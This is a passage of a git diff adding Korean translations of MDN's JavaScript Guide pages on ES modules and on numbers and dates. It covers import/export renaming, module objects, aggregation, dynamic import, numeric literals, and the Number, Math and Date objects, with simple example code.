+<h2 id="Avoiding_naming_conflicts">Avoiding naming conflicts</h2>
+
+<p>지금까지 우리의 캔버스 도형 그리기 모듈은 제대로 작동하는 것 같습니다. 원이나 삼각형처럼 다른 도형을 그리는 모듈을 추가하려고 하면 어떻게 될까요? 이 도형(shape)에는 아마도 <code>draw()</code>, <code>reportArea()</code> 등과 같은 관련 함수가 있을 것입니다. 동일한 이름의 여러 함수를 동일한 최상위 모듈로 가져오려고 하면, 충돌과 에러가 발생합니다.</p>
+
+<p>다행스럽게도 이 문제를 해결할 수 있는 여러가지 방법이 있습니다. 다음 섹션에서 이 내용을 살펴보겠습니다.</p>
+
+<h2 id="Renaming_imports_and_exports">Renaming imports and exports</h2>
+
+<p><code>import</code> 와 <code>export</code> 문(statement)의 중괄호 안에 <code>as</code> 키워드를 새 함수의 이름으로 함께 사용하여, 최상위 모듈 내부의 함수들을 식별 가능한 이름으로 변경할 수 있습니다.</p>
+
+<p>예를들어 다음 두 가지 방법은 약간의 차이가 있지만, 두 방법 모두 동일한 작업을 수행하고 있습니다.</p>
+
+<pre class="brush: js notranslate">// inside module.js
+export {
+  function1 as newFunctionName,
+  function2 as anotherNewFunctionName
+};
+
+// inside main.js
+import { newFunctionName, anotherNewFunctionName } from './modules/module.js';</pre>
+
+<pre class="brush: js notranslate">// inside module.js
+export { function1, function2 };
+
+// inside main.js
+import { function1 as newFunctionName,
+         function2 as anotherNewFunctionName } from './modules/module.js';</pre>
+
+<p>실제 사례를 살펴보겠습니다. <a href="https://github.com/mdn/js-examples/tree/master/modules/renaming">renaming</a> 디렉토리에서 원과 삼각형을 그리고 보고하기 위해 <code>circle.js</code> 와 <code>triangle.js</code> 모듈을 추가한다는 점만 제외하면, 앞의 예와 동일한 모듈 시스템을 볼 수 있습니다.</p>
+
+<p>이 모듈듈 각각에는 내부적으로 동일한 이름의 기능이 있습니다. 따라서 각각 하단에 동일한 export 문(statement)이 있습니다.</p>
+
+<pre class="brush: js notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>이것들을 <code>main.js</code>에 가져올 때 우리는 다음과 같이 시도할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';
+import { name, draw, reportArea, reportPerimeter } from './modules/circle.js';
+import { name, draw, reportArea, reportPerimeter } from './modules/triangle.js';</pre>
+
+<p>위와같이 적으면 브라우저에서 "SyntaxError: redeclaration of import name"과 같은 오류가 발생합니다. (Firefox).</p>
+
+<p>대신 import가 고유하도록(식별 가능하도록) 이름을 변경해야 합니다.</p>
+
+<pre class="brush: js notranslate">import { name as squareName,
+         draw as drawSquare,
+         reportArea as reportSquareArea,
+         reportPerimeter as reportSquarePerimeter } from './modules/square.js';
+
+import { name as circleName,
+         draw as drawCircle,
+         reportArea as reportCircleArea,
+         reportPerimeter as reportCirclePerimeter } from './modules/circle.js';
+
+import { name as triangleName,
+        draw as drawTriangle,
+        reportArea as reportTriangleArea,
+        reportPerimeter as reportTrianglePerimeter } from './modules/triangle.js';</pre>
+
+<p>다음과 같이 import하는 파일 대신 모듈 파일에서 문제를 해결할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">// in square.js
+export { name as squareName,
+         draw as drawSquare,
+         reportArea as reportSquareArea,
+         reportPerimeter as reportSquarePerimeter };</pre>
+
+<pre class="brush: js notranslate">// in main.js
+import { squareName, drawSquare, reportSquareArea, reportSquarePerimeter } from './modules/square.js';</pre>
+
+<p>그리고 이것은 똑같이 작동 할 것입니다. 사용하는 스타일은 개인의 취향이지만, 모듈 코드를 그대로 두고 import 를 변경하는 것이 더 합리적입니다. 특히 제어 권한이 없는 써드 파티 모듈에서 import를 사용하는 경우에 특히 유용합니다.</p>
+
+<h2 id="Creating_a_module_object">Creating a module object</h2>
+
+<p>위의 방법은 정상적으로 작동하지만, 다소 지저분하고 길어질 수 있습니다. 보다 나은 해결책은 각 모듈의 기능을 모듈 객체 내부로 가져오는 것입니다. 다음과 같은 구문을 사용합니다.</p>
+
+<pre class="brush: js notranslate">import * as Module from './modules/module.js';</pre>
+
+<p>이 모듈은 <code>module.js</code> 내에서 사용할 수 있는 모든 export를 가져옵니다. 그리고 그것들을 객체 <code>Module</code> 의 멤버로 만들고 우리 임의의 효과적인 네임스페이스를 제공합니다.</p>
+
+<pre class="brush: js notranslate">Module.function1()
+Module.function2()
+etc.</pre>
+
+<p>다시 한 번 실제 사례를 살펴보겠습니다. <a href="https://github.com/mdn/js-examples/tree/master/modules/module-objects">module-objects</a> 디렉토리로 가면 같은 예제를 볼 수 있지만, 새로운 구문을 이용하기 위해 다시 작성합니다. 모듈에서 export는 모두 다음과 같은 간단한 형식으로 이루어집니다.</p>
+
+<pre class="brush: js notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>반면에 import는 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">import * as Canvas from './modules/canvas.js';
+
+import * as Square from './modules/square.js';
+import * as Circle from './modules/circle.js';
+import * as Triangle from './modules/triangle.js';</pre>
+
+<p>각각의 경우에, 지정한 객체 이름 아래에 있는 모듈의 import에 접근할 수 있습니다. 다음은 그 예시입니다.</p>
+
+<pre class="brush: js notranslate">let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue');
+Square.reportArea(square1.length, reportList);
+Square.reportPerimeter(square1.length, reportList);</pre>
+
+<p>따라서 이제는 이전과 똑같은 코드를 작성할 수 있습니다. (필요한 경우 객체 이름을 포함해야 합니다) import는 보다 깔끔해졌습니다.</p>
+
+<h2 id="Modules_and_classes">Modules and classes</h2>
+
+<p>이전에 암시 했듯이 class를 export하거나 import 할 수도 있습니다. 이것은 코드에서 충돌을 피하기 위한 또 다른 옵션으로, 모듈 코드가 이미 객체 지향 스타일로 작성된 경우에 특히 유용합니다.</p>
+
+<p>우리의 <a href="https://github.com/mdn/js-examples/tree/master/modules/classes">classes</a> 디렉토리에서 ES 클래스로 다시 작성된 도형 그리기 모듈의 예를 볼 수 있습니다. 예를들어 <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/modules/square.js">square.js</a></code> 파일에는 모든 기능이 단일 클래스에 포함되어 있습니다.</p>
+
+<pre class="brush: js notranslate">class Square {
+  constructor(ctx, listId, length, x, y, color) {
+    ...
+  }
+
+  draw() {
+    ...
+  }
+
+  ...
+}</pre>
+
+<p>우리는 다음과 같이 export 합니다.</p>
+
+<pre class="brush: js notranslate">export { Square };</pre>
+
+<p><code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/main.js">main.js</a></code> 에서 우리는 다음과 같이 import 합니다.</p>
+
+<pre class="brush: js notranslate">import { Square } from './modules/square.js';</pre>
+
+<p>그런다음 클래스를 이용하여 사각형을 그립니다.</p>
+
+<pre class="brush: js notranslate">let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+square1.draw();
+square1.reportArea();
+square1.reportPerimeter();</pre>
+
+<h2 id="Aggregating_modules">Aggregating modules</h2>
+
+<p>모듈을 모아야 할 때가 있을 것입니다. 여러 서브 모듈을 하나의 부모 모듈로 결합하여 여러 단계의 종속성을 가질 수 있습니다. 상위 모듈에서 다음 양식의 export 구문을 사용하할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">export * from 'x.js'
+export { name } from 'x.js'</pre>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: 이것은 실제로 import 의 줄임말이고, 그 뒤에 export가 옵니다. 예를들면, "나는 모듈 <code>x.js</code>를 가져온 다음, 일부 또는 전부를 export 하겠다" 라는 뜻입니다.</p>
+</div>
+
+<p>예를들어 <a href="https://github.com/mdn/js-examples/tree/master/modules/module-aggregation">module-aggregation</a> 디렉토리를 참조하겠습니다. 이 예제에서는 이전 클래스 예제를 기반으로 <code>circle.js</code>, <code>square.js</code>, <code>triangle.js</code> 의 모든 기능을 함께 모으는 <code>shapes.js</code>라는 추가 모듈이 있습니다. 또한 우리는 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">shapes</span></font> <code>모듈</code> 디렉토리 안에 있는 서브 디렉토리 내에서 서브 모듈을 이동 시켰습니다. 이제 모듈 구조는 다음과 같습니다.</p>
+
+<pre class="notranslate">modules/
+  canvas.js
+  shapes.js
+  shapes/
+    circle.js
+    square.js
+    triangle.js</pre>
+
+<p>각 하위 모듈에서 export 형태는 같습니다. 예)</p>
+
+<pre class="brush: js notranslate">export { Square };</pre>
+
+<p>다음은 집합(aggregation) 부분입니다. <code><a href="https://github.com/mdn/js-examples/blob/master/modules/module-aggregation/modules/shapes.js">shapes.js</a></code> 안에는 다음과 같은 내용이 포함되어 있습니다.</p>
+
+<pre class="brush: js notranslate">export { Square } from './shapes/square.js';
+export { Triangle } from './shapes/triangle.js';
+export { Circle } from './shapes/circle.js';</pre>
+
+<p>이 모듈은 각각의 서브 모듈의 export를 가져와서 <code>shapes.js</code> 모듈에서 효과적으로 사용할 수 있도록 합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: <code>shapes.js</code> 에서 참조되는 export는 기본적으로 파일을 통해 리다이렉트 되고 실제로는 존재하지 않으므로, 같은 파일 내에 유용한 코드를 쓸 수 없습니다.</p>
+</div>
+
+<p>이제 <code>main.js</code> 파일에서 우리는 세 개의 모듈 클래스를 모두 대체할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">import { Square } from './modules/square.js';
+import { Circle } from './modules/circle.js';
+import { Triangle } from './modules/triangle.js';</pre>
+
+<p>다음과 같은 한 줄로 작성할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">import { Square, Circle, Triangle } from '/js-examples/modules/module-aggregation/modules/shapes.js';</pre>
+
+<h2 id="Dynamic_module_loading">Dynamic module loading</h2>
+
+<p>브라우저에서 사용할 수 있는 자바스크립트 모듈 기능의 최신 부분은 동적 모듈 로딩 입니다. 이렇게 하면 모든 것을 최상위에서 불러오지 않고, 필요할 때만 모듈을 동적으로 불러올 수 있습니다. 이것은 몇 가지 분명한 성능 이점이 있습니다. 계속 읽어보고 어떻게 작동하는지 살펴봅시다.</p>
+
+<p>이 새로운 기능을 통해 <code>import()</code> 를 함수로 호출하여 모듈 경로를 매개 변수(parameter)로 전달할 수 있습니다. 모듈 객체({{anch("Creating a module object")}} 참조)를 사용하여 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promise</a>를 반환하면 해당 객체의 export에 접근할 수 있습니다. </p>
+
+<pre class="brush: js notranslate">import('/modules/myModule.js')
+  .then((module) =&gt; {
+    // Do something with the module.
+  });</pre>
+
+<p>예제를 보겠습니다. In the <a href="https://github.com/mdn/js-examples/tree/master/modules/dynamic-module-imports">dynamic-module-imports</a> 디렉토리에는 classes 예제를 기반으로 한 또 다른 예제가 있습니다. 이번에는 예제가 로딩될 때 캔버스에 아무것도 그리지 않습니다. 대신 우리는 세 개의 버튼("Circle", "Square", "Triangle")이 포함되어 있습니다. 이 버튼을 누르면 필요한 모듈을 동적으로 불러온 다음, 이를 사용하여 연관된 도형을 그립니다.</p>
+
+<p>이 예제에서 우리는 <a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/index.html">index.html</a> 파일과 <a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/main.js">main.js</a> 파일만 변경했습니다. 모듈 export는 이전과 동일하게 유지됩니다.</p>
+
+<p><code>main.js</code> 에서 <code><a href="/en-US/docs/Web/API/Document/querySelector">document.querySelector()</a></code> 를 사용하여 각 버튼에 대한 참조를 가져왔습니다. 예를들면 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">let squareBtn = document.querySelector('.square');</pre>
+
+<p>그런 다음 각 버튼에 이벤트 리스너를 연결하여 해당 모듈을 누르면, 동적으로 로드되어 도형을 그리는데 사용됩니다.</p>
+
+<pre class="brush: js notranslate">squareBtn.addEventListener('click', () =&gt; {
+  import('/js-examples/modules/dynamic-module-imports/modules/square.js').then((Module) =&gt; {
+    let square1 = new Module.Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+    square1.draw();
+    square1.reportArea();
+    square1.reportPerimeter();
+  })
+});</pre>
+
+<p>Note that, promise fulfillment 가 모듈 객체를 반환하기 때문에 클래스는 객체의 하위 기능으로 만들어집니다. 따라서 이제 <code>Module</code> 을 사용하여 생성자(contructor)에 접근해야 합니다. 예를들어 <code>Module.Square( ... )</code> 와 같이 앞에 <code>Module</code>이 붙습니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/fundamentals/primers/modules#mjs">Using JavaScript modules on the web</a>, by Addy Osmani and Mathias Bynens</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">ES modules: A cartoon deep-dive</a>, Hacks blog post by Lin Clark</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li>Axel Rauschmayer's book <a href="http://exploringjs.com/es6/ch_modules.html">Exploring JS: Modules</a></li>
+</ul>
+
+<p>{{Previous("Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/ko/web/javascript/guide/numbers_and_dates/index.html b/files/ko/web/javascript/guide/numbers_and_dates/index.html
new file mode 100644
index 0000000000..6a45e1ef7f
--- /dev/null
+++ b/files/ko/web/javascript/guide/numbers_and_dates/index.html
@@ -0,0 +1,384 @@
+---
+title: 숫자와 날짜
+slug: Web/JavaScript/Guide/Numbers_and_dates
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Numbers_and_dates
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</div>
+
+<p><span class="seoSummary">이 장에서는 JavaScript에서 숫자와 날짜를 사용하기 위한 개념과 객체, 함수에 대해 소개합니다.</span> 그리고 숫자를 10진법, 2진법, 16진법 등의 다양한 형태로 표현하는 방법과 더불어 {{jsxref("Math")}} 객체를 사용해 다양한 수학 연산을 수행하는 방법을 알 수 있습니다.</p>
+
+<h2 id="숫자">숫자</h2>
+
+<p>JavaScript에서 모든 숫자는 <a class="external external-icon" href="https://en.wikipedia.org/wiki/Double-precision_floating-point_format">double-precision 64-bit binary format IEEE 754</a> (즉, ±2<sup>−1022</sup> 과 ±2<sup>+1023</sup> 또는 대략 ±10<sup>−308</sup> to ±10<sup>+308</sup> 사이의 숫자이며 53bits의 수치정밀도 )로 구현되어 있습니다. ± 2<sup>53</sup> - 1까지의 정수 값을 정확하게 나타낼 수 있습니다.</p>
+
+<p>여기 부동 소수점 숫자를 나타낼 수 있으며, 숫자 형식은 세 개의 상징적인 값: <code>+</code>{{jsxref("Infinity")}}, <code>-</code>{{jsxref("Infinity")}}, and {{jsxref("NaN")}} (숫자가 아닌 값)을 갖습니다.</p>
+
+<p>JavaScript에 최근 추가 된 것은 {{jsxref ( "BigInt")}}로, 매우 큰 정수를 나타낼 수 있습니다. <code>BigInt</code>를사용할땐 다음을 주의해야 합니다. 예를 들면, <code>BigInt</code>와 {{jsxref ( "Number")}} 값을 같은 연산으로 혼합하고 일치시킬 수는 없으며 {{jsxref ( "Math")}} 객체를 <code>BigInt</code>값과 함께 사용할 수 없습니다.</p>
+
+<p>JavaScript에서 다른 기본형과 문맥에 대한 내용은 <a href="/en-US/docs/Web/JavaScript/Data_structures">JavaScript data types and structures</a>를 참조하세요.</p>
+
+<p>여러분은 숫자 리터럴의 네 가지 유형을 사용할 수 있습니다: 10진수, 2진수, 8진수, 16진수</p>
+
+<h3 id="10진수">10진수</h3>
+
+<pre class="brush: js notranslate">1234567890
+42
+
+// 앞에 0이 붙은 숫자를 조심하세요:
+
+0888 // 10진수 888로 해석됩니다.
+0777 // non-strict mode에서 10진수 511로 해석됩니다.
+</pre>
+
+<p>10진수 리터럴도 영(<code>0</code>)으로 시작될 수 있다는 점에 유의하세요. 그러나 만약 영<code>0</code> 다음 숫자가 8보다 작으면, 그 숫자는 8진법으로 해석됩니다.</p>
+
+<h3 id="2진수">2진수</h3>
+
+<p>2진수 구문은 앞에 오는 0과 소문자 또는 대문자 라틴 문자 "B"(0B 또는 0b)를 사용합니다. 0b 다음의 숫자가 0 또는 1이 아니면 다음의 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>가 발생합니다. "0b 이후에 누락 된 2 진수"("Missing binary digits after 0b")입니다.</p>
+
+<pre class="brush: js notranslate">var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h3 id="8진수">8진수</h3>
+
+<p>8 진수 구문은 앞에 0을 사용합니다. <code>0</code> 이후의 숫자가 0에서 7까지 범위 밖에 있는 경우, 숫자는 10진수로 해석됩니다.</p>
+
+<pre class="brush: js notranslate">var n = 0755; // 493
+var m = 0644; // 420
+</pre>
+
+<p>ECMAScript 5의 Strict 모드는 8 진수 구문을 금지합니다. 8 진수 구문은 ECMAScript 5의 일부가 아니지만, <code>0644 === 420</code> 및 <code>"\ 045"=== "%"</code>의 8 진수에 접두사를 붙이면 모든 브라우저에서 지원됩니다. ECMAScript 2015에서는 접두어가 <code>0o</code>인 경우 8 진수가 지원됩니다 (예 :</p>
+
+<pre class="notranslate"><code>var a = 0o10; // ES2015: 8</code></pre>
+
+<h3 id="16진수">16진수</h3>
+
+<p>16진수 구문은 앞에 0 다음에 소문자나 대문자 라틴어 문자 "X"(<code>0x</code> 또는 <code>0X</code>)를 사용합니다. 0X 이후 숫자가 범위(0123456789ABCDEF) 밖에 있는 경우, 다음 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>가 발생합니다: "식별자는 숫자 리터럴 후 즉시 시작됩니다".</p>
+
+<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h3 id="지수_계산">지수 계산</h3>
+
+<pre class="notranslate"><code>1E3   // 1000
+2e6   // 2000000
+0.1e2 // 10</code>
+</pre>
+
+<h2 id="Number_객체"><code>Number</code> 객체</h2>
+
+<p>{{jsxref("Number")}} 내장객체는 최대값, not-a-number, 무한대와 같은 숫자 상수를 위한 속성들이 있습니다. 여러분은 이러한 속성의 값을 변경 할 수 없고 다음과 같이 사용합니다:</p>
+
+<pre class="brush: js notranslate">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<p>여러분은 직접 생성한 <code>Number</code> 객체의 속성이 아닌, 위와같이 항상 미리 정의된 <code>Number</code> 객체의 속성을 참조해야합니다.</p>
+
+<p>다음 표에서는 <code>Number</code> 객체의 속성이 요약되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption><code>Number</code> 속성들</caption>
+ <thead>
+  <tr>
+   <th scope="col">특성</th>
+   <th scope="col">묘사</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.MAX_VALUE")}}</td>
+   <td>표현가능한 가장 큰 수 (<code>±1.7976931348623157e+308</code>)</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MIN_VALUE")}}</td>
+   <td>표현가능한 가장 작은 수(<code>±5e-324</code>)</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.NaN")}}</td>
+   <td>"숫자가 아닌" 특수값</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.NEGATIVE_INFINITY")}}</td>
+   <td>음의 무한대값; 오버 플로로 반환됨.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.POSITIVE_INFINITY")}}</td>
+   <td>양의 무한대 값; 오버 플로로 반환됨.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.EPSILON")}}</td>
+   <td>표현가능한 매우 작은 값{{jsxref("Number")}}.(<code>2.220446049250313e-16</code>)</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MIN_SAFE_INTEGER")}}</td>
+   <td>자바스크립트에서 안전한 최소의 정수.(−2<sup>53</sup> + 1, or <code>−9007199254740991</code>)</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MAX_SAFE_INTEGER")}}</td>
+   <td>자바스크립트에서 안전한 최대의 정수.(+2<sup>53</sup> − 1, or <code>+9007199254740991</code>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption><code>Number</code> 메소드들</caption>
+ <thead>
+  <tr>
+   <th>방법</th>
+   <th>묘사</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.parseFloat()")}}</td>
+   <td>
+    <p>문자열 인수를 파싱하고 부동 소수점 숫자를 반환합니다. 전역 {{jsxref("parseFloat", "parseFloat()")}} 함수와 동일합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.parseInt()")}}</td>
+   <td>문자열 라인 인수를 파싱해, 지정된 기수 또는 밑줄의 정수를 돌려줍니다. 전역 {{jsxref("parseInt", "parseInt()")}}함수와 동일합니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isFinite()")}}</td>
+   <td>전달된 값이 유한한 수인지 판정합니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isInteger()")}}</td>
+   <td>전달된 값이 정수인지 판정합니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isNaN()")}}</td>
+   <td>이 전달된 값 {{jsxref("Global_Objects/NaN", "Not-a-Number")}}여부를 확인합니다. 원본 글로벌 {{jsxref("Global_Objects/isNaN", "(isNaN)")}}의 더욱 강력한 버전입니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isSafeInteger()")}}</td>
+   <td>제공된 값이 안전한 정수인지 여부를 확인합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>Number</code> 프로토 타입은 다양한 형식의 <code>Number</code> 객체에서 정보를 검색하는 메소드를 제공합니다. 다음 표는 <code>Number.prototype</code>의 메소드를 요약 한 것입니다.</p>
+
+<table class="standard-table">
+ <caption><code>Number.prototype</code>의 방법</caption>
+ <thead>
+  <tr>
+   <th scope="col">방법</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.toExponential", "toExponential()")}}</td>
+   <td>지수표기법 안에서 번호를 나타내는 문자열을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.toFixed", "toFixed()")}}</td>
+   <td>문자열 고정 소수 점 표기법의 수를 나타내는 문자열을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.toPrecision", "toPrecision()")}}</td>
+   <td>지정된 정밀에 고정 소수 점 표기법의 수를 나타내는 문자열을 반환합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Math_객체"><code>Math</code> 객체</h2>
+
+<p>내장 {{jsxref ( "Math")}} 객체는 수학 상수 및 함수에 대한 속성 및 메서드를 포함합니다. 예를 들어, <code>Math</code> 객체의 <code>PI</code> 속성에는 pi (3.141 ...) 값이 있습니다.이 값은 응용 프로그램에서 다음과 같이 사용합니다.</p>
+
+<pre class="brush: js notranslate">Math.PI
+</pre>
+
+<p>마찬가지로 표준 수학 함수도 <code>Math</code>의 함수입니다. 여기에는 삼각 함수, 로그 함수, 지수 함수 및 기타 함수가 포함됩니다. 예를 들어 삼각 함수 sine을 사용하려면 다음과 같이 작성합니다.</p>
+
+<pre class="brush: js notranslate">Math.sin(1.56)
+</pre>
+
+<p><code>Math</code>의 모든 삼각 함수에는 라디안으로 매게변수를 입력해야 합니다.</p>
+
+<p>다음 표에서는 <code>Math</code> 개체의 방법을 요약하였습니다.</p>
+
+<table class="standard-table">
+ <caption><code>Math</code>의 메소드들</caption>
+ <thead>
+  <tr>
+   <th scope="col">방법</th>
+   <th scope="col">묘사</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Math.abs", "abs()")}}</td>
+   <td>절대 값</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}}</td>
+   <td>표준 삼각 함수; 라디안에서의 인수</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}}</td>
+   <td>역삼각 함수; 라디안에 반환 값</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}}</td>
+   <td>쌍곡삼각함수; 라디안에 반환 값.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}}</td>
+   <td>역쌍곡삼각함수; 라디안에 반환 값.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}}</p>
+   </td>
+   <td>지수와 로그 기능.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}}</td>
+   <td> 가장큰/가장작은 정수 보다 적은/많은 또는 그와 동등한 원칙으로 반환해라.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}}</td>
+   <td>더적거나 더많은 쉼표의 (각각) 숫자 인수의 나뉜목록으로 반환해라.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.random", "random()")}}</td>
+   <td>0과 1사이의 난수를 반환해라.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}},</td>
+   <td>반올림과 절단 기능들.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}}</td>
+   <td>제곱 근, 세 제곱 근, 평방 인수의 합의 제곱 근.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sign", "sign()")}}</td>
+   <td>그 수가 양수인지 음수인지 0인지를 가르키는 숫자의 표시.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.clz32", "clz32()")}},<br>
+    {{jsxref("Math.imul", "imul()")}}</td>
+   <td>32비트 이진 표시의 주요 제로 비트 수.<br>
+    그 두 인수의 C-like 32비트 곱셈의 결과.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>다른 많은 객체와 달리 자신의 <code>Math</code> 개체를 만들필요가 없습니다. 언제든 내장 된 <code>Math</code> 객체 바로 사용할 수 있습니다.</p>
+
+<h2 id="Date_객체"><code><font face="Consolas, Monaco, Andale Mono, monospace">Date</font></code><font face="Consolas, Monaco, Andale Mono, monospace"> 객체</font></h2>
+
+<p>자바스크립트에는 날짜 데이터 타입이 없습니다. 그러나, {{jsxref ( "Date")}} 객체와 그 메소드를 사용하여 응용 프로그램에서 날짜와 시간을 처리 할 수 ​​있습니다. <code>Date</code> 객체에는 날짜 설정, 가져 오기 및 조작을위한 많은 메소드가 있습니다. 속성(properties)이 없습니다.</p>
+
+<p>자바스크립트는 자바와 비슷하게 날짜를 처리합니다. 두 언어에는 동일한 날짜 메소드가 많으며 두 언어 모두 1970 년 1 월 1 일 00:00:00 이후의 밀리 초 수로 날짜를 저장합니다. 유닉스 타임 스탬프는 1970 년 1 월 1 일 00:00:00 이후의 초 수입니다.</p>
+
+<p>Date 개체 범위는 UTC 1970 년 1 월 1 일을 기준으로 -100,000,000 일에서 100,000,000 일입니다.</p>
+
+<p>Date 객체를 만들려면 :</p>
+
+<pre class="brush: js notranslate">var dateObjectName = new Date([parameters]);
+</pre>
+
+<p>여기서 <code>dateObjectName</code>은 만들려는 <code>Date</code> 객체의 이름입니다. 새로운 객체 또는 기존 객체의 속성 일 수 있습니다.</p>
+
+<p><code>new</code> 키워드없이 <code>Date</code>를 호출하면 현재 날짜와 시간을 나타내는 문자열이 반환됩니다.</p>
+
+<p>앞 구문에서 <code>parameters</code>는 아래 규칙을 따릅니다.</p>
+
+<ul>
+ <li>아무것도없을때: 오늘의 날짜와 시간을 만듭니다. 예를 들어, <code>today = new Date();</code>.</li>
+ <li>날짜를 나타내는 문자열의 형식: "Month day, year hours:minutes:seconds."예를 들어, <code>var Xmas95 = new Date("December 25, 1995 13:30:00")</code>.만약 당신이 시간, 분, 또는 초를 빠뜨린다면, 값은 0이 됩니다.</li>
+ <li>정수 값의 연도, 월, 날의 집합입니다. 예를 들어, <code>var Xmas95 = new Date(1995, 11, 25)</code>.</li>
+ <li>연도, 월, 일, 시, 분,초 동안 정수 값의 집합입니다.. 예를 들어, <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li>
+</ul>
+
+<h3 id="Data_개체의_표현_방법"><code>Data</code> 개체의 표현 방법</h3>
+
